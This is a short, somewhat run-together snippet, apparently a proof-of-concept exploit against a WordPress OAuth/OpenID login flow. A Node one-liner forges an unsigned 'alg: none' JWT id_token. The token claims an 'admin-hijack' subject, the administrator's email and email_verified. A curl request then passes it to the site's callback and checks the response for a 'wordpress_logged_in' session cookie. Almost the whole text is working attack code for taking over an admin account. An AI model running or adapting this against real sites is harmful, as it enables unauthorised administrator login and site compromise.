
alg: none)TOKEN=$(node -e '
function b64u(s){
return Buffer.from(s).toString("base64")
.replace(/\+/g,"-")
.replace(/\//g,"_")
.replace(/=+$/,"")
}
const header = b64u(JSON.stringify({ alg: "none", typ: "JWT" }));
const now = Math.floor(Date.now()/1000);
const payload = b64u(JSON.stringify({
iss: "https://evil.example",
aud: "abc",
sub: "admin-hijack",
email: process.env.ADMIN_EMAIL,
email_verified: "1",
iat: now,
exp: now + 3600
}));
console.log(header + "." + payload + ".");
')
echo "$TOKEN"
id_token مزوّرcurl -i -A "Mozilla/5.0" \
"$SITE/?code=DUMMY&id_token=$TOKEN&state=$STATE" \
| tee /tmp/poc_headers.txt
grep -i '^set-cookie: wordpress_logged_in' /tmp/poc_headers.txt
grep -i '^location:' /tmp/poc_headers.txt